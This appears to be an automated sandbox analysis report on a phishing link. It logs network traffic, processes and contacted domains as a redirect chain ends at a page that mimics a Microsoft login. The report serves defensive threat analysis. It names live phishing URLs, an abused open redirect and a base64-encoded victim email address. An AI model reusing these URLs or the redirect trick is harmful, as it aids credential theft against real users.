Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap.min.js HTTP/1.1Host: 5425043750-1317754460.cos.ap-tokyo.myqcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://paymentsremittance.hostingdoccentral.it.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap.min.js HTTP/1.1Host: 5425043750-1317754460.cos.ap-tokyo.myqcloud.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /google.php HTTP/1.1Host: 5425043750.sbsConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://paymentsremittance.hostingdoccentral.it.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /google.php HTTP/1.1Host: 5425043750.sbsConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dbd5a2dd-u4fautdxz35iuswytm6dsfpbjaep3nradvawo9gaff0/logintenantbranding/0/bannerlogo?ts=638375588456270597 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://paymentsremittance.hostingdoccentral.it.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dbd5a2dd-u4fautdxz35iuswytm6dsfpbjaep3nradvawo9gaff0/logintenantbranding/0/bannerlogo?ts=638375588456270597 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /google.php HTTP/1.1Host: 5425043750.sbsConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /google.php HTTP/1.1Host: 5425043750.sbsConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/email/crm/clickthru.php?hash=4ff934a7bb0a81c8c46fcc9a6676fcd3&aid=81803571&return_page=http%3A%2F%2Fmartinscarnes.com.br/grdsergj/9ae7d9b9f91e861f723b82dea8d97fa5/YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ== HTTP/1.1Host: reedhawkins.watsonrealtycorp.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /grdsergj/9ae7d9b9f91e861f723b82dea8d97fa5/YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ== HTTP/1.1Host: martinscarnes.com.brConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: martinscarnes.com.brConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://martinscarnes.com.br/grdsergj/9ae7d9b9f91e861f723b82dea8d97fa5/YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: reedhawkins.watsonrealtycorp.com
Source: global traffic	DNS traffic detected: DNS query: martinscarnes.com.br
Source: global traffic	DNS traffic detected: DNS query: paymentsremittance.hostingdoccentral.it.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: 5425043750-1317754460.cos.ap-tokyo.myqcloud.com
Source: global traffic	DNS traffic detected: DNS query: 5425043750.sbs
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msauthimages.net

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/g/flow/ov1/302061580:1741115686:VPrrkfgK5Fjb68xBX7W-gDKZaVfhxReoh470mfFEUsY/91b3d7a1caf4f5fa/5xkicrhpJLPgbXgB7OFrHq4YMtqq1B0kOv3qd_ozWtM-1741117194-1.1.1.1-RFJ8sHMjvF9HpdDsoq0uhGwQ8y9rGcH_lXJLpJ_bVBmZ7XNSKqdanRu5iSufnVoL HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3873sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-Type: text/plain;charset=UTF-8cf-chl: 5xkicrhpJLPgbXgB7OFrHq4YMtqq1B0kOv3qd_ozWtM-1741117194-1.1.1.1-RFJ8sHMjvF9HpdDsoq0uhGwQ8y9rGcH_lXJLpJ_bVBmZ7XNSKqdanRu5iSufnVoLcf-chl-ra: 0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/ebhl4/0x4AAAAAAA_eT5Ymilyhn1qa/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 04 Mar 2025 19:39:55 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeServer: cloudflareCache-Control: max-age=14400Cf-Cache-Status: EXPIREDCF-RAY: 91b3d7a879734375-EWRalt-svc: h3=":443"; ma=86400

Source: chromecache_87.3.dr, chromecache_75.3.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_89.3.dr, chromecache_82.3.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_71.3.dr, chromecache_73.3.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_89.3.dr, chromecache_71.3.dr, chromecache_82.3.dr, chromecache_73.3.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_89.3.dr, chromecache_71.3.dr, chromecache_82.3.dr, chromecache_73.3.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50052 version: TLS 1.2

Source: classification engine

Classification label: mal60.phis.win@20/46@52/21

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2356 --field-trial-handle=2284,i,13450945992594996218,2547211380111920180,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://reedhawkins.watsonrealtycorp.com/shared/email/crm/clickthru.php?hash=4ff934a7bb0a81c8c46fcc9a6676fcd3&aid=81803571&return_page=http%3A%2F%2Fmartinscarnes.com.br/grdsergj/9ae7d9b9f91e861f723b82dea8d97fa5/YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ=="
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2356 --field-trial-handle=2284,i,13450945992594996218,2547211380111920180,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
http://reedhawkins.watsonrealtycorp.com/shared/email/crm/clickthru.php?hash=4ff934a7bb0a81c8c46fcc9a6676fcd3&aid=81803571&return_page=http%3A%2F%2Fmartinscarnes.com.br/grdsergj/9ae7d9b9f91e861f723b82dea8d97fa5/YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://paymentsremittance.hostingdoccentral.it.com/favicon.ico	0%	Avira URL Cloud	safe
https://5425043750.sbs/google.php	0%	Avira URL Cloud	safe
https://5425043750-1317754460.cos.ap-tokyo.myqcloud.com/bootstrap.min.js	0%	Avira URL Cloud	safe
http://martinscarnes.com.br/favicon.ico	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
jsdelivr.map.fastly.net	151.101.1.229	true	false	high
stackpath.bootstrapcdn.com	104.18.10.207	true	false	high
martinscarnes.com.br	107.161.183.67	true	false	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	high
e329293.dscd.akamaiedge.net	88.221.92.12	true	false	high
paymentsremittance.hostingdoccentral.it.com	172.67.135.175	true	true	unknown
5425043750.sbs	69.49.246.64	true	false	unknown
maxcdn.bootstrapcdn.com	104.18.11.207	true	false	high
reedhawkins.watsonrealtycorp.com	199.255.85.101	true	false	unknown
cos.ap-tokyo.myqcloud.com	43.128.240.48	true	false	high
code.jquery.com	151.101.194.137	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
www.google.com	216.58.206.36	true	false	high
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	high
cdn.jsdelivr.net	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
aadcdn.msauthimages.net	unknown	unknown	false	high
5425043750-1317754460.cos.ap-tokyo.myqcloud.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://aadcdn.msauthimages.net/dbd5a2dd-u4fautdxz35iuswytm6dsfpbjaep3nradvawo9gaff0/logintenantbranding/0/bannerlogo?ts=638375588456270597	false		high
http://martinscarnes.com.br/grdsergj/9ae7d9b9f91e861f723b82dea8d97fa5/YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=91b3d7a1caf4f5fa&lang=auto	false		high
https://paymentsremittance.hostingdoccentral.it.com/OtL2U/?e=YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==	true		unknown
https://code.jquery.com/jquery-3.2.1.slim.min.js	false		high
https://challenges.cloudflare.com/turnstile/v0/api.js	false		high
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg	false		high
https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/flow/ov1/302061580:1741115686:VPrrkfgK5Fjb68xBX7W-gDKZaVfhxReoh470mfFEUsY/91b3d7a1caf4f5fa/5xkicrhpJLPgbXgB7OFrHq4YMtqq1B0kOv3qd_ozWtM-1741117194-1.1.1.1-RFJ8sHMjvF9HpdDsoq0uhGwQ8y9rGcH_lXJLpJ_bVBmZ7XNSKqdanRu5iSufnVoL	false		high
https://cdn.jsdelivr.net/gh/pranaynamnaik/files@latest/micro-123787483.png	false		high
https://5425043750.sbs/google.php	false	Avira URL Cloud: safe	unknown
http://reedhawkins.watsonrealtycorp.com/shared/email/crm/clickthru.php?hash=4ff934a7bb0a81c8c46fcc9a6676fcd3&aid=81803571&return_page=http%3A%2F%2Fmartinscarnes.com.br/grdsergj/9ae7d9b9f91e861f723b82dea8d97fa5/YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==	false		unknown
